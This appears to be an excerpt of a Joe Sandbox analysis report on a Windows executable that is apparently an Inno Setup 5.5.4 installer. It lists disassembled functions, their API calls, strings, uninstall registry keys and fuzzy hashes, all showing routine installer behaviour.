API ID: AddressAllocateCheckFreeHandleInitializeMembershipModuleProcTokenVersion
String ID: CheckTokenMembership$advapi32.dll
API String ID: 2252812187-1888249752
Opcode ID: e85b50142d6fb8dfa018e27ce328f4228a324c83d29f55767421a1d4cb2019c7
Instruction ID: e5677345bf142a8b1d9111380f95962c8bb8cf61ba8e960ca5c3fd0f127139eb
Opcode Fuzzy Hash: e85b50142d6fb8dfa018e27ce328f4228a324c83d29f55767421a1d4cb2019c7
Instruction Fuzzy Hash: E351A271B44215EEEB10EAE69C42BBF77ACEB09704F9404BBB901F7281D57C99018B79

Function 004502C0 Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 45
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00480CA6), ref: 004502D3
LoadLibraryA.KERNEL32(Rstrtmgr.dll,00480CA6), ref: 004502EB
GetProcAddress.KERNEL32(6FAC0000,RmStartSession), ref: 00450309
GetProcAddress.KERNEL32(6FAC0000,RmRegisterResources), ref: 0045031E
GetProcAddress.KERNEL32(6FAC0000,RmGetList), ref: 00450333
GetProcAddress.KERNEL32(6FAC0000,RmShutdown), ref: 00450348
GetProcAddress.KERNEL32(6FAC0000,RmRestart), ref: 0045035D
GetProcAddress.KERNEL32(6FAC0000,RmEndSession), ref: 00450372

Strings

RmStartSession, xrefs: 004502FE
RmRestart, xrefs: 00450352
RmEndSession, xrefs: 00450367
RmGetList, xrefs: 00450328
Rstrtmgr.dll, xrefs: 004502E6
RmRegisterResources, xrefs: 00450313
RmShutdown, xrefs: 0045033D

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoadVersion
String ID: RmEndSession$RmGetList$RmRegisterResources$RmRestart$RmShutdown$RmStartSession$Rstrtmgr.dll
API String ID: 1968650500-3419246398
Opcode ID: 2681632e5309952c30eea3f8c2bf2722b4339596373eceda0d07b93e3cd0d7e4
Instruction ID: c77cef2ad5653e61b65a4477cbb73d0d56cf7b8a9d174f96be3e9b6947252677
Opcode Fuzzy Hash: 2681632e5309952c30eea3f8c2bf2722b4339596373eceda0d07b93e3cd0d7e4
Instruction Fuzzy Hash: B211F7B4510301DBD710FB61BF45A2E36E9E728315B08063FE804961A2CB7C4844CF8C

Function 00423C0C Relevance: 21.4, APIs: 14, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702cdc7a7447dbec475746a4497e094c90e9972b1c44fc000768d2c872bd6b20
Instruction ID: afb4f91cf4018cf9acc1c9974f14325182323c15c0e0405bd0f9b005e596376e
Opcode Fuzzy Hash: 702cdc7a7447dbec475746a4497e094c90e9972b1c44fc000768d2c872bd6b20
Instruction Fuzzy Hash: 03E1AE31700124EFDB04DF69E989AADB7B5FB54300FA440AAE5559B352C73CEE81DB09

Function 004673A4 Relevance: 15.7, APIs: 4, Strings: 4, Instructions: 1656windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00495A20: GetWindowRect.USER32(00000000), ref: 00495A36

LoadBitmapA.USER32(00400000,STOPIMAGE), ref: 00467773

Part of subcall function 0041D6B0: GetObjectA.GDI32(?,00000018,0046778D), ref: 0041D6DB

Part of subcall function 00467180: SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 00467223
Part of subcall function 00467180: ExtractIconA.SHELL32(00400000,00000000,?), ref: 00467249
Part of subcall function 00467180: ExtractIconA.SHELL32(00400000,00000000,00000027), ref: 004672A0

Part of subcall function 00466B40: KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,00467828,00000000,00000000,00000000,0000000C,00000000), ref: 00466B58

Part of subcall function 00495CA4: MulDiv.KERNEL32(0000000D,?,0000000D), ref: 00495CAE

Part of subcall function 0042ED38: GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0042EDA8
Part of subcall function 0042ED38: SHAutoComplete.SHLWAPI(00000000,00000001), ref: 0042EDC5

Part of subcall function 00495970: GetDC.USER32(00000000), ref: 00495992
Part of subcall function 00495970: SelectObject.GDI32(?,00000000), ref: 004959B8
Part of subcall function 00495970: ReleaseDC.USER32(00000000,?), ref: 00495A09

Part of subcall function 00495C94: MulDiv.KERNEL32(0000004B,?,00000006), ref: 00495C9E

GetSystemMenu.USER32(00000000,00000000,0000000C,00000000,00000000,00000000,00000000,021EF3E0,021F10E4,?,?,021F1114,?,?,021F1164,?), ref: 00468417
AppendMenuA.USER32(00000000,00000800,00000000,00000000), ref: 00468428
AppendMenuA.USER32(00000000,00000000,0000270F,00000000), ref: 00468440

Strings

7'H, xrefs: 0046766D, 00467681
(Default), xrefs: 00468A29
, xrefs: 00467835
STOPIMAGE, xrefs: 00467768

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Menu$AppendExtractIconObject$AddressAutoBitmapCallbackCompleteDispatcherFileInfoLoadProcRectReleaseSelectSystemUserWindow
String ID: $(Default)$7'H$STOPIMAGE
API String ID: 616467991-1294339269
Opcode ID: 60bcec1c3087136259898b5a14ea117ae8417471c57c305dbbbc5834814a158b
Instruction ID: 768618ac8668afe930811dafe5a27f49510752cc8f9b80db6c1a8a93991d8459
Opcode Fuzzy Hash: 60bcec1c3087136259898b5a14ea117ae8417471c57c305dbbbc5834814a158b
Instruction Fuzzy Hash: 01F2C7346005248FCB00EB69D9D9F9973F1BF49304F1582BAE5049B36ADB74EC46CB9A

Function 004750DC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 99fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00475246,?,?,0049C1E0,00000000), ref: 00475135
FindNextFileA.KERNEL32(00000000,?,00000000,?,00000000,00475246,?,?,0049C1E0,00000000), ref: 00475212
FindClose.KERNEL32(00000000,00000000,?,00000000,?,00000000,00475246,?,?,0049C1E0,00000000), ref: 00475220

Strings

unins???.*, xrefs: 0047511F
unins, xrefs: 00475188

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID: unins$unins???.*
API String ID: 3541575487-1009660736
Opcode ID: c66306f3851ec3c0618930f5621158d0c703df0dd44125d7d59c9e4f18c8bd76
Instruction ID: cf60276092285450f10be4537e106a6163e2757c0d6b173d8f9caaf7a3c79000
Opcode Fuzzy Hash: c66306f3851ec3c0618930f5621158d0c703df0dd44125d7d59c9e4f18c8bd76
Instruction Fuzzy Hash: B6315070600508ABCB50EB65C891ADEB7A9DF45304F51C4F6E80CAB2A3DB789F418F58

Function 00452A60 Relevance: 3.0, APIs: 2, Instructions: 45fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00452AC3,?,?,-00000001,00000000), ref: 00452A9D
GetLastError.KERNEL32(00000000,?,00000000,00452AC3,?,?,-00000001,00000000), ref: 00452AA5

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: 9c675a8f1f28b386d0fa8c71b8ecb41695e84785a8bb79b0d9bc0322d07a8b6a
Instruction ID: 3e58272229af866f17ac5928e9872a720c3be2d4903e778e839a846eb7d55d53
Opcode Fuzzy Hash: 9c675a8f1f28b386d0fa8c71b8ecb41695e84785a8bb79b0d9bc0322d07a8b6a
Instruction Fuzzy Hash: 94F0F971A04604AB8B10EF669D4149EF7ACEB8672571046BBFC14E3282DAB84E0485A8

Function 0046E13C Relevance: 3.0, APIs: 2, Instructions: 28comCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000368,0046E1D2), ref: 0046E146
CoCreateInstance.OLE32(00499B98,00000000,00000001,00499BA8,?,00000368,0046E1D2), ref: 0046E162

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CreateInstanceVersion
String ID:
API String ID: 1462612201-0
Opcode ID: 9bb5de2fa102b7af1061e61d6880e4dfe18eceacc4124a01f11506536e7e3a36
Instruction ID: afc9cbf82d8b208ebb9117b311ac361b6e37cc3e36b84439544a803dd14dcaad
Opcode Fuzzy Hash: 9bb5de2fa102b7af1061e61d6880e4dfe18eceacc4124a01f11506536e7e3a36
Instruction Fuzzy Hash: 7AF0A035283200AEEB20A7AADC86B8B37C47B22314F14007BF044C7291E2BD9881865F

Function 00408568 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408633,?,00000000,00408712), ref: 00408586

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 64da881718ef9bfb5c3691e8182369eeaf442f2681d4624e7b5adc518b999176
Instruction ID: 8daab3ef8e56b0da8b8c23f45c5b5388ad46b50bd825570c2d348c61856efc62
Opcode Fuzzy Hash: 64da881718ef9bfb5c3691e8182369eeaf442f2681d4624e7b5adc518b999176
Instruction Fuzzy Hash: BFE0223170021466C311AA2A9C86AEAB34C9758310F00427FB904E73C2EDB89E4042A8

Function 00423B84 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,?,00424151,?,00000000,0042415C), ref: 00423BAE

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 03c86555d74cd6010afd77b9e61a524e96c156e733cd5bd8e2feacc4387cef90
Instruction ID: a748582893d7571d6ac8bdbe819d0a8fbf5f36db2d3505b6f19a51c7a0bbae16
Opcode Fuzzy Hash: 03c86555d74cd6010afd77b9e61a524e96c156e733cd5bd8e2feacc4387cef90
Instruction Fuzzy Hash: 47F0B979205608AF8B40DF99C588D4ABBE8AB4C260B058195B988CB321C234ED808F90

Function 0045559C Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?), ref: 004555B2

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 969018677e36c7ee3cac7a31a88a81c68082f6a067fe28717e4d5eb0c099a74a
Instruction ID: 9f318ec9847dd9a6abcb639c8bc611599857aea0b867fcad4bfaeec6bdb042bf
Opcode Fuzzy Hash: 969018677e36c7ee3cac7a31a88a81c68082f6a067fe28717e4d5eb0c099a74a
Instruction Fuzzy Hash: 8FD0C27230470473CB00AA689C825AA35CD8B84305F00483E3CC5DA2C3FABDDA485756

Function 0042F520 Relevance: 1.5, APIs: 1, Instructions: 17nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0042F53C

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 9e43cbcd657a147b44e82c26281af1c584f356d37a2e763e4ec43db1fd6d4cd6
Instruction ID: 7ca9c19e24a5def9c493c34941f9da96f9ca037215ec7a65a90973bf7a04e639
Opcode Fuzzy Hash: 9e43cbcd657a147b44e82c26281af1c584f356d37a2e763e4ec43db1fd6d4cd6
Instruction Fuzzy Hash: FCD09E7120011D7B9B00DE99E840D6B33AD9B88710B909925F945D7642D634ED9197A5

Function 0046F1A8 Relevance: 72.2, APIs: 1, Strings: 40, Instructions: 500
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0046EF94: RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,bcG,?,0049C1E0,?,0046F2AB,?,00000000,0046F846,?,_is1), ref: 0046EFB7

Part of subcall function 0046F004: RegSetValueExA.ADVAPI32(?,NoModify,00000000,00000004,00000000,00000004,00000001,?,0046F682,?,?,00000000,0046F846,?,_is1,?), ref: 0046F017

RegCloseKey.ADVAPI32(?,0046F84D,?,_is1,?,Software\Microsoft\Windows\CurrentVersion\Uninstall\,00000000,0046F898,?,?,0049C1E0,00000000), ref: 0046F840

Strings

Inno Setup: User Info: Organization, xrefs: 0046F40B
Inno Setup: Deselected Tasks, xrefs: 0046F3DE
Contact, xrefs: 0046F61F
NoRepair, xrefs: 0046F684
DisplayVersion, xrefs: 0046F554
Inno Setup: Selected Tasks, xrefs: 0046F3BF
QuietUninstallString, xrefs: 0046F537
URLUpdateInfo, xrefs: 0046F5E5
Comments, xrefs: 0046F63C
Inno Setup: Selected Components, xrefs: 0046F378
Inno Setup: Deselected Components, xrefs: 0046F397
Inno Setup: No Icons, xrefs: 0046F31B
URLInfoAbout, xrefs: 0046F58E
MinorVersion, xrefs: 0046F6E1
DisplayIcon, xrefs: 0046F4C3
Inno Setup: User Info: Name, xrefs: 0046F3F6
UninstallString, xrefs: 0046F4FD
InstallDate, xrefs: 0046F6A3
Publisher, xrefs: 0046F571
HelpTelephone, xrefs: 0046F5AB
Inno Setup: App Path, xrefs: 0046F2CE
Inno Setup: User, xrefs: 0046F33A
Readme, xrefs: 0046F602
Inno Setup: Language, xrefs: 0046F447
NoModify, xrefs: 0046F670
InstallLocation, xrefs: 0046F2EE
5.5.4 (a), xrefs: 0046F29E
" /SILENT, xrefs: 0046F52A
RegisterPreviousData, xrefs: 0046F7F6
MajorVersion, xrefs: 0046F6CF
HelpLink, xrefs: 0046F5C8
_is1, xrefs: 0046F204
DisplayName, xrefs: 0046F4A6
Software\Microsoft\Windows\CurrentVersion\Uninstall\, xrefs: 0046F1FE
ModifyPath, xrefs: 0046F65C
Inno Setup: Setup Version, xrefs: 0046F299
Inno Setup: User Info: Serial, xrefs: 0046F420
Inno Setup: Icon Group, xrefs: 0046F2FD
Inno Setup: Setup Type, xrefs: 0046F359
EstimatedSize, xrefs: 0046F7BD

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Value$Close
String ID: " /SILENT$5.5.4 (a)$Comments$Contact$DisplayIcon$DisplayName$DisplayVersion$EstimatedSize$HelpLink$HelpTelephone$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: Language$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: Setup Version$Inno Setup: User$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$InstallDate$InstallLocation$MajorVersion$MinorVersion$ModifyPath$NoModify$NoRepair$Publisher$QuietUninstallString$Readme$RegisterPreviousData$Software\Microsoft\Windows\CurrentVersion\Uninstall\$URLInfoAbout$URLUpdateInfo$UninstallString$_is1
API String ID: 3391052094-621072260
Opcode ID: 7d8aaf585a1a8528c3b1dca96beb349396973f8f7a8fc2ffd36ba8840ffd608c
Instruction ID: be14fade0605ec114b4d0d1d650b8932ae4f201090507f794a86511dd891168a
Opcode Fuzzy Hash: 7d8aaf585a1a8528c3b1dca96beb349396973f8f7a8fc2ffd36ba8840ffd608c
Instruction Fuzzy Hash: 33126535A00108AFCB04DB55E891ADE77F5EB48304F20817BE854AB395EB78BD49CB5E

Function 0049299C Relevance: 56.4, APIs: 16, Strings: 16, Instructions: 431
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,00000000,00492E91,?,?,?,?,00000000,00000000,00000000), ref: 004929DC
FindWindowA.USER32(00000000,00000000), ref: 00492A0D

Strings

FINDWINDOWBYCLASSNAME, xrefs: 004929E9
POSTMESSAGE, xrefs: 00492AB7
SENDBROADCASTNOTIFYMESSAGE, xrefs: 00492C4B
SENDNOTIFYMESSAGE, xrefs: 00492B13
FREEDLL, xrefs: 00492D88
POSTBROADCASTMESSAGE, xrefs: 00492BF7
OEMTOCHARBUFF, xrefs: 00492DEF
SENDMESSAGE, xrefs: 00492A61
SENDBROADCASTMESSAGE, xrefs: 00492BA9
REGISTERWINDOWMESSAGE, xrefs: 00492B6F
CHARTOOEMBUFF, xrefs: 00492E32
CALLDLLPROC, xrefs: 00492D01
LOADDLL, xrefs: 00492C9F
FINDWINDOWBYWINDOWNAME, xrefs: 00492A25
CREATEMUTEX, xrefs: 00492DBD
SLEEP, xrefs: 004929C6

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: FindSleepWindow
String ID: CALLDLLPROC$CHARTOOEMBUFF$CREATEMUTEX$FINDWINDOWBYCLASSNAME$FINDWINDOWBYWINDOWNAME$FREEDLL$LOADDLL$OEMTOCHARBUFF$POSTBROADCASTMESSAGE$POSTMESSAGE$REGISTERWINDOWMESSAGE$SENDBROADCASTMESSAGE$SENDBROADCASTNOTIFYMESSAGE$SENDMESSAGE$SENDNOTIFYMESSAGE$SLEEP
API String ID: 3078808852-3310373309
Opcode ID: 5908f651f00787cd3938b67c28d969e1aab584b55e94cb0f906aa363745cb638
Instruction ID: 5f8be1574c3b3f4eb1afaa98e9133663000fa7909c855a3d01459e5326e3d08b
Opcode Fuzzy Hash: 5908f651f00787cd3938b67c28d969e1aab584b55e94cb0f906aa363745cb638
Instruction Fuzzy Hash: 03C151A0B042007BDF14BF3E9D8151F69A99B98708711C93FB446EB78ADE7DEC0A4359

Function 00483BD0 Relevance: 26.3, APIs: 9, Strings: 6, Instructions: 68
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00483BE1
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00483BEE
GetNativeSystemInfo.KERNELBASE(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 00483BFC
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00483C04
GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 00483C10
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 00483C31
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 00483C44
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 00483C4A
GetSystemInfo.KERNEL32(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 00483C61

Strings

advapi32.dll, xrefs: 00483C3F
RegDeleteKeyExA, xrefs: 00483C3A
IsWow64Process, xrefs: 00483BFE
GetNativeSystemInfo, xrefs: 00483BE8
GetSystemWow64DirectoryA, xrefs: 00483C2B
kernel32.dll, xrefs: 00483BDC

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc$HandleInfoModuleSystem$CurrentNativeProcess
String ID: GetNativeSystemInfo$GetSystemWow64DirectoryA$IsWow64Process$RegDeleteKeyExA$advapi32.dll$kernel32.dll
API String ID: 2230631259-2623177817
Opcode ID: a311a58dc0b22675e7e86ca92d85f25d3be489529d4b8b240a7db9eef1e9506c
Instruction ID: c23e499935606680a634b78f85b31a5c02031c9ae900f5863f5a8e85172ee719
Opcode Fuzzy Hash: a311a58dc0b22675e7e86ca92d85f25d3be489529d4b8b240a7db9eef1e9506c
Instruction Fuzzy Hash: 25118193508341A4D611BB7A8D89B6F39888B50F1BF140C3FB88175282EA7CCF91976E

Function 00468DA4 Relevance: 24.7, APIs: 1, Strings: 13, Instructions: 155
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,7=H,?,00000001,?,?,00483D37,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(?,00468FBE,?,?,00000001,00000000,00000000,00468FD9,?,00000000,00000000,?), ref: 00468FA7

Strings

Inno Setup: Deselected Components, xrefs: 00468EE8
%s\%s_is1, xrefs: 00468E21
Inno Setup: Selected Components, xrefs: 00468EC6
Inno Setup: Setup Type, xrefs: 00468EB6
Inno Setup: App Path, xrefs: 00468E66
Inno Setup: No Icons, xrefs: 00468E8F
Inno Setup: User Info: Organization, xrefs: 00468F76
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00468E03
Inno Setup: User Info: Name, xrefs: 00468F63
Inno Setup: Icon Group, xrefs: 00468E82
Inno Setup: Deselected Tasks, xrefs: 00468F35
Inno Setup: Selected Tasks, xrefs: 00468F13
Inno Setup: User Info: Serial, xrefs: 00468F89

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
